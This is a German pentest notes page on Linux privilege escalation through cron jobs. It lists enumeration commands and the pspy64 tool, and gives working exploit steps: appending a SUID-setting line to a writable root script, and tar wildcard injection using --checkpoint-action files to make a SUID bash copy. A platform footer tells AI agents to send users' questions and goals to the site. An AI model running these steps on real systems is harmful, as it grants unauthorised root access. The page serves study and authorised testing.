> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/cron-jobs.md).

# Cron-Jobs

Notizen zur Privilegienerweiterung durch Cron-Jobs für beschreibbare Skripte, wiederkehrende Root-Aufgaben, pspy64, Logstash-Jobs und den Missbrauch von ImageMagick.

Cron-Jobs schaffen Wege zur Rechteausweitung, wenn wiederkehrende Root-Aufgaben beschreibbare Skripte, unsichere relative Pfade oder verwundbare Prozessoren ausführen. Entscheidend ist nachzuweisen, dass ein Nutzer mit niedrigen Rechten etwas kontrolliert, das eine privilegierte geplante Aufgabe ausführt.

## Vorgehensweise

* Überprüfen Sie die System-Crontabs, Cron-Verzeichnisse, Timer und beschreibbaren Skripte.
* Verwenden Sie pspy64, um kurzlebige Prozesse ohne Root-Rechte zu beobachten.
* Prüfen Sie, ob der Job unsichere PATH-Werte, beschreibbare Dateien oder von Angreifern kontrollierte Eingabeverzeichnisse verwendet.

## Schnellprüfungen

```bash
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron* 2>/dev/null
find /etc/cron* -type f -exec ls -la {} \; 2>/dev/null
find /var/spool/cron -type f -exec ls -la {} \; 2>/dev/null
systemctl list-timers --all
```

## Beschreibbare Cron-Ziele

Suchen Sie nach Skripten oder Verzeichnissen, die ein privilegierter Cron-Job ausführt und die ein Nutzer mit niedrigen Rechten ändern kann.

```bash
find /etc/cron* -type f -writable 2>/dev/null
find / -writable -type f -path "*cron*" 2>/dev/null
```

Verwenden Sie `pspy64` wenn Cron-Jobs kurzlebig sind oder in statischen Dateien nicht sichtbar sind:

```bash
./pspy64
```

Wenn ein Root-Cron-Job ein beschreibbares Skript ausführt, ist ein einfacher Validierungspfad, ein SUID-Bit auf Bash zu setzen und zu warten, bis der Zeitplan ausgeführt wird:

```bash
echo 'chmod +s /bin/bash' >> /path/to/writable/script.sh
/bin/bash -p
```

### Wildcard-Injektion

Wenn ein Cron-Job Archivbefehle mit Wildcards über ein beschreibbares Verzeichnis verwendet, können Dateinamen zu Befehlsoptionen werden.

```bash
cd /var/www/
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > exploit.sh
chmod +x exploit.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh exploit.sh"
```

Nachdem der Cron-Job ausgeführt wurde:

```bash
/tmp/bash -p
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Cron-Ausdrucksrechner</h4></td><td>Suchen Sie nach gängigen Cron-Ausdrücken, Sonderzeichen, Feldsyntax, Bedeutungen von Zeitplänen und Hinweisen zur Überprüfung von Rechteausweitung.</td><td><a href="/de/privesc/cron-jobs/cron-expression-calculator.md">Cron-Ausdrucksrechner</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>pspy64 Cron-Aufzählung</h4></td><td>pspy64-Toolhinweise für Linux-Rechteausweitung, mit Aufzählungsschritten, Ausnutzungsbeispielen und auf Berichterstattung ausgerichteter Validierung.</td><td><a href="/de/privesc/cron-jobs/pspy64-cron-enumeration-linux-privilege-escalation.md">pspy64-Tool - Linux-Privilegienerweiterung</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Cron-Job mit modifiziertem Bash-Skript</h4></td><td>Cron-Jobs - Notizen zu modifiziertem Skript (Bash) für Linux-Rechteausweitung, mit Aufzählungsschritten, Ausnutzungsbeispielen und auf Berichterstattung ausgerichteter Validierung.</td><td><a href="/de/privesc/cron-jobs/modified-bash-script-cron-job-linux-privilege-escalation.md">Geänderter Bash-Skript-Cron-Job - Linux-Privilegienerweiterung</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Cron-Job mit modifiziertem Python-Skript</h4></td><td>Cron-Jobs - Notizen zu modifiziertem Skript (Python) für Linux-Rechteausweitung, mit Aufzählungsschritten, Ausnutzungsbeispielen und auf Berichterstattung ausgerichteter Validierung.</td><td><a href="/de/privesc/cron-jobs/modified-python-script-cron-job-linux-privilege-escalation.md">Geänderter Python-Skript-Cron-Job - Linux-Privilegienerweiterung</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>ImageMagick-Cron-Missbrauch</h4></td><td>Cron-Jobs - Notizen zur ImageMagick-Ausnutzung für Linux-Rechteausweitung, mit Aufzählungsschritten, Ausnutzungsbeispielen und auf Berichterstattung ausgerichteter Validierung.</td><td><a href="/de/privesc/cron-jobs/imagemagick-cron-abuse-linux-privilege-escalation.md">ImageMagick-Cron-Missbrauch - Linux-Privilegienerweiterung</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Logstash-Cron-Missbrauch</h4></td><td>Cron-Jobs (Logstash) Notizen für Linux-Rechteausweitung, mit Aufzählungsschritten, Ausnutzungsbeispielen und auf Berichterstattung ausgerichteter Validierung.</td><td><a href="/de/privesc/cron-jobs/logstash-cron-abuse-linux-privilege-escalation.md">Logstash-Cron-Missbrauch - Linux-Privilegienerweiterung</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/privesc/cron-jobs.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
